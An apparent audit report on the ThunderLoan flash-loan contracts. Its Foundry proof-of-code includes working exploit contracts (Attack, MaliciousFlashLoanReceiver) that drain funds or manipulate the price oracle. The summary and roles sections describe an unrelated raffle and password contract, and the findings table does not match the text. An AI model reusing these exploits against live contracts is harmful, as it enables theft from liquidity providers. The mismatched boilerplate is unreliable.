# Protocol Audit Report

Prepared by: Sahil Kaushik

## Table of Contents

## Protocol Summary

This contract allows user to enter a Raffle and winner can mint a random puppy nft.

## Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| Likelihood Impact | High | Medium | Low |
|---|---|---|---|
| **High** | H | H/M | M |
| **Medium** | H/M | M | M/L |
| **Low** | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond the following commit hash:**

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

**Scope**

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
```

```
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

### Roles

- Owner: Is the only one who should be able to set and access the password.

For this contract, only the owner should be able to interact with the contract. # Executive Summary ## Issues found

| Severity | Number of issues found |
|---|---|
| High | 4 |
| Medium | 3 |
| Low | 3 |
| Info | 2 |
| Gas Optimizations | 0 |
| Total | 12 |

## Findings

### High

#### [H-1] Storage collision during upgradation of protocol, leading to mismatch of variable data.

**Description:** In `ThunderLoan.sol` slot 1, slot 2, slot 3 and slot 4 stands for s_poolFactory, s_tokenToAssetToken, s_feePrecision and s_flashLoanFee respectively and in `ThunderLoanUpgraded.sol` slot 1, slot 2 and slot 3 stands for s_poolFactory, s_tokenToAssetToken and s_flashLoanFee respectively, This means the storge slot of s_flashLoanFee has been changed to slot 4 to slot 3 where the data for s_feePrecision is stored. Therefore upgrading the Protcol will result in

wrong data being used for s_flashLoanFee resulting in a greater fee being charged to users when acquiring a flashloan. However the storage slot of s_currentlyFlashLoaning is also changed but it may not affect that much to the protocl as it can be reset.

**Impact:** Greater fee for the flashloans.

**Proof of Concept:** 1. s_flashLoanFee will point to the storage of s_feePrecision 2. s_flashLoanFee = 1e18

Proof of Code

Place this in `ThunderLoanTest.t.sol`:

```
    function testStorageCollisionafterUpgradation() public {
        uint256 feeBeforeUpgradation = thunderLoan.getCalculatedFee(
            tokenA,
            100e18
        );
        ThunderLoanUpgraded thunderLoanUpgraded = new
↪   ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
        thunderLoanUpgraded = ThunderLoanUpgraded(address(proxy));
        uint256 feeAfterUpgradation = thunderLoanUpgraded.getCalculatedFee(
            tokenA,
            100e18
        );

        console.log("Fees before upgrade ", feeBeforeUpgradation);
        console.log("Fees after upgrade ", feeAfterUpgradation);
    }
```

run this command in terminal

```
forge test --mt testStorageCollisionafterUpgradation -vvvv
```

This will result in this output :

```
[4668415] TestOracleManipulation::testStorageCollisionafterUpgradation()
    ├─ [22723] ERC1967Proxy::fallback(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E992
    │   ├─ [17743] ThunderLoan::getCalculatedFee(ERC20Mock: [0x5991A2dF15A8F6A25
    │   │   ├─ [2912] MockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D
    │   │   │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA
    │   │   ├─ [310] MockTSwapPool::getPriceOfOnePoolTokenInWeth() [staticcall]
```

```
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   └─ ← [Return] 300000000000000000 [3e17]
    │   └─ ← [Return] 300000000000000000 [3e17]
    ├─ [4575028] → new ThunderLoanUpgraded@0xa0Cb889707d426A7A386870A03bc70d1b06
    │   ├─ emit Initialized(version: 18446744073709551615 [1.844e19])
    │   ├─  storage changes:
    │   │   @ 0xf0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00
    │   └─ ← [Return] 22729 bytes of code
    ├─ [9963] ERC1967Proxy::fallback(ThunderLoanUpgraded: [0xa0Cb889707d426A7A38
    │   ├─ [9480] ThunderLoan::upgradeToAndCall(ThunderLoanUpgraded: [0xa0Cb8897
    │   │   ├─ [484] ThunderLoanUpgraded::proxiableUUID() [staticcall]
    │   │   │   └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a9
    │   │   ├─ emit Upgraded(implementation: ThunderLoanUpgraded: [0xa0Cb889707d
    │   │   ├─  storage changes:
    │   │   │   @ 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d38
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    ├─ [5001] ERC1967Proxy::fallback(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E9925
    │   ├─ [4521] ThunderLoanUpgraded::getCalculatedFee(ERC20Mock: [0x5991A2dF15
    │   │   ├─ [912] MockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3
    │   │   │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA
    │   │   ├─ [310] MockTSwapPool::getPriceOfOnePoolTokenInWeth() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   └─ ← [Return] 100000000000000000000 [1e20]
@>  ├─ [0] console::log("Fees before upgrade ", 300000000000000000 [3e17]) [stat
    │   └─ ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
@>  ├─ [0] console::log("Fees after upgrade ", 100000000000000000000 [1e20]) [st
    │   └─ ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
    └─ ← [Stop]
```

**Recomended Mitigation:**

Either make the s_feePrecision constant in `ThunderLoan.sol`.

```
-   uint256 private s_feePrecision;
+   uint256 private s_feePrecision = 1e18;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    .
    .
```

```
    .
        function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
-       s_feePrecision = 1e18;
        s_flashLoanFee = 3e15; // 0.3% ETH fee
    }
```

Or

Introduse a blank variable just before s_flashLoanFee in `ThunderLoanUpgraded.sol`

```
+   uint256 private blank;
    // The fee in WEI, it should have 18 decimals. Each flash loan takes a
 ↪  flat fee of the token price.
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

### [H-2] Updation of exchange rate in `ThunderLoan::deposit()` function, enables liquidity provider to just withdraw more token just after depositing.

**Description:** Liquidity Providers gain interest based on how many flashloans have been taken with the deposited money. But in the `ThunderLoan::deposit()` function the exchange rate increases everytime after each deposit. this enables the liquidity providers to withdraw more token than they deposited when the `thunderLoan::deposit()` function is called.

**Impact:** Users can drain all the funds if they deposit and withdraw simluttanously.

**Proof of Concept:**

```
 function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        // audit CEI
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        // audit can be zero denominator??
        uint256 mintAmount = (amount *
 ↪  assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
```

```
        assetToken.mint(msg.sender, mintAmount);
        // q why the hell fee is callculated here
        uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

1. Users deposit.
2. exchange rate increases.
3. user withdraws with increased exchange rate.

Proof of Code

```
    function testExploitDeposit() public {
        address lp1 = makeAddr("lp1");
        address lp2 = makeAddr("lp2");
        tokenA.mint(lp1, 10e18);
        tokenA.mint(lp2, 10e18);
        // tokenA.mint(address(thunderLoan), 10e18);
        thunderLoan.setAllowedToken(tokenA, true);
        AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
        uint256 exchangeRateBeforeDeposit = assetToken.getExchangeRate();
        vm.startPrank(lp1);
        tokenA.approve(address(thunderLoan), 10e18);
        thunderLoan.deposit(tokenA, 10e18);
        vm.stopPrank();

        uint256 exchangeRateAfterOneDeposit = assetToken.getExchangeRate();
        vm.startPrank(lp2);
        tokenA.approve(address(thunderLoan), 10e18);
        thunderLoan.deposit(tokenA, 10e18);
        vm.stopPrank();
        uint256 exchangeRateAfterTwoDeposit = assetToken.getExchangeRate();

        vm.startPrank(lp1);
        thunderLoan.redeem(tokenA, assetToken.balanceOf(lp1));
        uint256 balance = tokenA.balanceOf(lp1);
        vm.stopPrank();
        console2.log(
            "exchange rate before deposit ",
            exchangeRateBeforeDeposit
        );
        console2.log(
            "exchange rate after one deposit ",
```

```
            exchangeRateAfterOneDeposit
        );
        console2.log(
            "exchange rate after two deposit",
            exchangeRateAfterTwoDeposit
        );
        console2.log("balance of lp1 ", balance);

        assert(exchangeRateBeforeDeposit < exchangeRateAfterOneDeposit);
    }
```

run this command in terminal

```
forge test --mt testExploitDeposit -vvvv
```

Output :

```
    ├─ [0] console::log("exchange rate before deposit ", 1000000000000000000 [1e
    │   └─ ← [Stop]
    ├─ [0] console::log("exchange rate after one deposit ", 1003000000000000000
    │   └─ ← [Stop]
    ├─ [0] console::log("exchange rate after two deposit", 1004506753369945082 [
    │   └─ ← [Stop]
    ├─ [0] console::log("balance of lp1 ", 1004506753369945820 [1.004e19]) [sta
```

**Recomended Mitigation:** Remove the line which update the exchange rate.

```
 function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        // audit CEI
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount *
↪   assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
```

```
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

### [H-3] Fees are less than for non-ERC20 tokens, protocol not intended for this

**Description:** Within the functions ThunderLoan::getCalculatedFee() and ThunderLoanUpgraded::getCalculatedFee(), an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

```
 function getCalculatedFee(IERC20 token, uint256 amount) public view
  ↪  returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount *
 ↪  getPriceInWeth(address(token))) / s_feePrecision;
@>        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

```
//ThunderLoanUpgraded.sol
```

```
 function getCalculatedFee(IERC20 token, uint256 amount) public view
  ↪  returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount *
 ↪  getPriceInWeth(address(token))) / FEE_PRECISION;
        //slither-disable-next-line divide-before-multiply
@>        fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
    }
```

**Impact:** Less Fee for Non-ERC20 tokens.

**Proof of Concept:** 1. suppose a user flashloans x amount of ETH and another user takes equivalent amount of USDT. 2. ether uses 18 decimals while USDT uses 6 decimals for representation. 3. therefore USDT fee will always be 6 decimals short than Eth fee 4. Prototcol will not be earning thorugh fees than its intented.

**Recomended Mitigation:** Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

### [H-4] All the funds can be stolen if the flash loan is returned using deposit()

**Descriptionn:**The flashloan() performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with startingBalance + fee. However, a vulnerability emerges when calculating endingBalance using token.balanceOf(address(assetToken)).

Exploiting this vulnerability, an attacker can return the flash loan using the deposit() instead of repay(). This action allows the attacker to mint AssetToken and subsequently redeem it using redeem(). What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

**Impact:** User can drain all the funds of the contract.

**Proof of Concept:**

Proof of Code

To execute the test successfully, please complete the following steps:

1. Place the attack.sol file within the mocks folder.
2. Import the contract in ThunderLoanTest.t.sol.
3. Add testattack() function in ThunderLoanTest.t.sol.
4. Change the setUp() function in ThunderLoanTest.t.sol.

```
import { Attack } from "../mocks/attack.sol";
function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, "");

 ↪  attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();

        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(to-
         ↪  kenA))),
         ↪  DEPOSIT_AMOUNT);
    }

function setUp() public override {
        super.setUp();
        vm.prank(user);
```

```
        mockFlashLoanReceiver = new
 ↪  MockFlashLoanReceiver(address(thunderLoan));
        vm.prank(user);
        attack = new Attack(address(thunderLoan));
    }
```

attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from
 ↪  "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver } from
 ↪  "../../src/interfaces/IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}

contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
    address s_thunderLoan;

    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    constructor(address thunderLoan) {
        s_owner = msg.sender;
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
    }

    function executeOperation(
        address token,
        uint256 amount,
```

```
        uint256 fee,
        address initiator,
        bytes calldata /*  params */
    )
        external
        returns (bool)
    {
        s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));

        if (initiator != s_owner) {
            revert MockFlashLoanReceiver__onlyOwner();
        }

        if (msg.sender != s_thunderLoan) {
            revert MockFlashLoanReceiver__onlyThunderLoan();
        }
        IERC20(token).approve(s_thunderLoan, amount + fee);
        IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
        s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
        return true;
    }

    function getbalanceDuring() external view returns (uint256) {
        return s_balanceDuringFlashLoan;
    }

    function getBalanceAfter() external view returns (uint256) {
        return s_balanceAfterFlashLoan;
    }

    function sendAssetToken(address assetToken) public {

        IERC20(assetToken).transfer(msg.sender,
         ↪  IERC20(assetToken).balanceOf(address(this)));
    }
}
```

**Recomended Mitigation:** deposit and flashloan should not occur in same block.

```
+   uint256 lastFlashLoanTime = 0;

    function deposit(
        IERC20 token,
        uint256 amount
```

```
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+       if(block.number <= lastFlashLoanTime){
+       revert(); }
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount *
 ↪  assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }

 function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 startingBalance =
 ↪  IERC20(token).balanceOf(address(assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
 ↪  amount);
        }

        if (receiverAddress.code.length == 0) {
            revert ThunderLoan__CallerIsNotContract();
        }
+       lastFlashLoanTime=block.number;
        uint256 fee = getCalculatedFee(token, amount);
        // slither-disable-next-line reentrancy-vulnerabilities-2
 ↪  reentrancy-vulnerabilities-3
        assetToken.updateExchangeRate(fee);

        emit FlashLoan(receiverAddress, token, amount, fee, params);

        s_currentlyFlashLoaning[token] = true;
```

```
        assetToken.transferUnderlyingTo(receiverAddress, amount);
        // slither-disable-next-line unused-return
↪   reentrancy-vulnerabilities-2
        receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );
        //
        uint256 endingBalance = token.balanceOf(address(assetToken));
        // audit equal??
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(
                startingBalance + fee,
                endingBalance
            );
        }
        s_currentlyFlashLoaning[token] = false;
    }
```

## Medium

### [M-1] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens.

**Description:** `ThunderLoan::setAllowedToken()` can be used to block all the token fund. if the function is being called with a x ERC token and false it deletes the corresponding mapping in the asset token and the x tokens get locked as it is being not allowed for the redeem.

```
 function setAllowedToken(
        IERC20 token,
        bool allowed
    ) external onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
```

```
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat(
                "ThunderLoan ",
                IERC20Metadata(address(token)).name()
            );
            string memory symbol = string.concat(
                "tl",
                IERC20Metadata(address(token)).symbol()
            );
            AssetToken assetToken = new AssetToken(
                address(this),
                token,
                name,
                symbol
            );
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
@>          delete s_tokenToAssetToken[token];
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        }
    }
```

**Impact:** All the funds of the liquidity providers are lost as they will not be able to redeem it.

**Proof of Code:** 1. thunderLoan set `setAllowedToken()` for tokenA to true. 2. lp deposits 3. thunderaLoan set `setAllowedToken()` for token A to false. 4. lp can not redeem back.

```
    function redeem(
        IERC20 token,
        uint256 amountOfAssetToken
    ) external
       revertIfZero(amountOfAssetToken)
@>      revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) /
```

```
            assetToken.EXCHANGE_RATE_PRECISION();
        emit Redeemed(msg.sender, token, amountOfAssetToken,
↪  amountUnderlying);
        assetToken.burn(msg.sender, amountOfAssetToken);
        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
    }
```

Proof of Code

put this in `thunderLoan.t.sol` test suite:

```
    function testCannotRedeemNonAllowedTokenAfterDepositingToken() public
    ↪  {
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);

        tokenA.mint(liquidityProvider, AMOUNT);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);

        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__No-
↪  tAllowedToken.selector,
↪  address(tokenA)));
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, AMOUNT_LESS);
        vm.stopPrank();
    }
```

**Recomended Mitigation:** It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
    function setAllowedToken(IERC20 token, bool allowed) external
↪  onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
↪  IERC20Metadata(address(token)).name());
```

```
            string memory symbol = string.concat("tl",
 ↪  IERC20Metadata(address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token,
 ↪  name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
+           uint256 hasTokenBalance =
 ↪  IERC20(token).balanceOf(address(assetToken));
+           if (hasTokenBalance == 0) {
                delete s_tokenToAssetToken[token];
                emit AllowedTokenSet(token, assetToken, allowed);
+           }
            return assetToken;
        }
    }
```

#### [M-2] Fee can be reduced using oracle manipulation while taking the flashloans

**Description:** In `ThunderLoan::flashloan` the price of the `fee` is calculated using the method `ThunderLoan::getCalculatedFee`:

```
uint256 fee = getCalculatedFee(token, amount);
```

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns
 ↪  (uint256 fee) {
    //slither-disable-next-line divide-before-multiply
    uint256 valueOfBorrowedToken = (amount *
 ↪  getPriceInWeth(address(token))) / s_feePrecision;
    //slither-disable-next-line divide-before-multiply
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

`getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH:

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation.

If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) /
 ↪  s_feePrecision;
```

Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert:

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    // 1. Get the current exchange rate
    // 2. How big the fee is should be divided by the total supply
    // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange
 ↪  rate be multiplied by 1.5
    // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate
 ↪  should be multiplied by 1.125
    // it should always go up, never down
    // newExchangeRate = oldExchangeRate * (totalSupply + fee) /
 ↪  totalSupply
    // newExchangeRate = 1 (4 + 0.5) / 4
    // newExchangeRate = 1.125
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
 ↪  totalSupply();

    // newExchangeRate = s_exchangeRate + fee/totalSupply();

    if (newExchangeRate <= s_exchangeRate) {
        revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate,
 ↪  newExchangeRate);
    }
    s_exchangeRate = newExchangeRate;
    emit ExchangeRateUpdated(s_exchangeRate);
}
```

`flashloan()` can be reentered on line 201-210:

```
receiverAddress.functionCall(
    abi.encodeWithSignature(
        "executeOperation(address,uint256,uint256,address,bytes)",
        address(token),
        amount,
        fee,
        msg.sender,
        params
    )
);
```

This means that an attacking contract can perform an attack by:

1. Calling `flashloan()` with a sufficiently small value for `amount`
2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback
3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan.
4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small 'fees for an arbitrarily large loan.

**Impact:** An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either:

1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price.
2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small.

The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding.

**Proof of Code:**

Proof of Code

put this in a new test file `oracleTest.t.sol`:

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {ThunderLoanTest, ThunderLoan} from "../unit/ThunderLoanTest.t.sol";
import {ERC20Mock} from "../mocks/ERC20Mock.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC1967Proxy} from
 ↪  "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ThunderLoanUpgraded} from
 ↪  "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import {BuffMockTSwap} from "../mocks/BuffMockTSwap.sol";
import {IFlashLoanReceiver, IThunderLoan} from
 ↪  "../../src/interfaces/IFlashLoanReceiver.sol";
import {BuffMockPoolFactory} from "../mocks/BuffMockPoolFactory.sol";

contract TestOracleManipulation is ThunderLoanTest {
    function testCanManipulateOracle() public {
        thunderLoan = new ThunderLoan();
        ERC20Mock tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        pf.createPool(address(tokenA));
        address tswapPool = pf.getPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 150e18);
        tokenA.approve(address(tswapPool), 150e18);
        weth.mint(liquidityProvider, 150e18);
        weth.approve(address(tswapPool), 150e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            100e18,
            100e18,
            block.timestamp
        );
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
```

```
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        uint256 calculatedFeeNormal = thunderLoan.getCalculatedFee(
            tokenA,
            100e18
        );
        uint256 amountToBorrow = 50e18;
        //malaciousflashloanreceiver
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool),
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken((tokenA)))
        );
        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();
        uint256 calculatedFeeAttacked = flr.feeOne() + flr.feeTwo();
        console.log("Normal fee: %s", calculatedFeeNormal);
        console.log("Attack fee: %s", calculatedFeeAttacked);
        assert(calculatedFeeAttacked < calculatedFeeNormal);
    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    bool attacked;
    BuffMockTSwap pool;
    ThunderLoan thunderLoan;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(
        address tswapPool,
        address _thunderloan,
        address _repayAddress
    ) {
        pool = BuffMockTSwap(tswapPool);
        thunderLoan = ThunderLoan(_thunderloan);
        repayAddress = _repayAddress;
```

```
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        bytes calldata
    ) external returns (bool) {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 expected = pool.getOutputAmountBasedOnInput(
                50e18,
                100e18,
                100e18
            );
            IERC20(token).approve(address(pool), 50e18);
            pool.swapPoolTokenForWethBasedOnInputPoolToken(
                50e18,
                expected,
                block.timestamp
            );
            thunderLoan.flashloan(address(this), IERC20(token), amount,
↪   "");
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            feeTwo = fee;
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }

        return true;
    }
}
```

**Recomended Mitigation:** Use a manipulation resistant oracle such as chainlink or Pyth network.

### [M-3] `ThunderLoan::deposit` is not compatible for tokens that charges fee , resulting in loss of funds from the protocol.

**Desciption:** Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens.

Deposit function mint the tokens that user has inputted in the params and mint the same amount of Asset token.

```
function deposit(IERC20 token, uint256 amount) external
 ↪  revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
   @>   uint256 mintAmount = (amount *
 ↪  assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

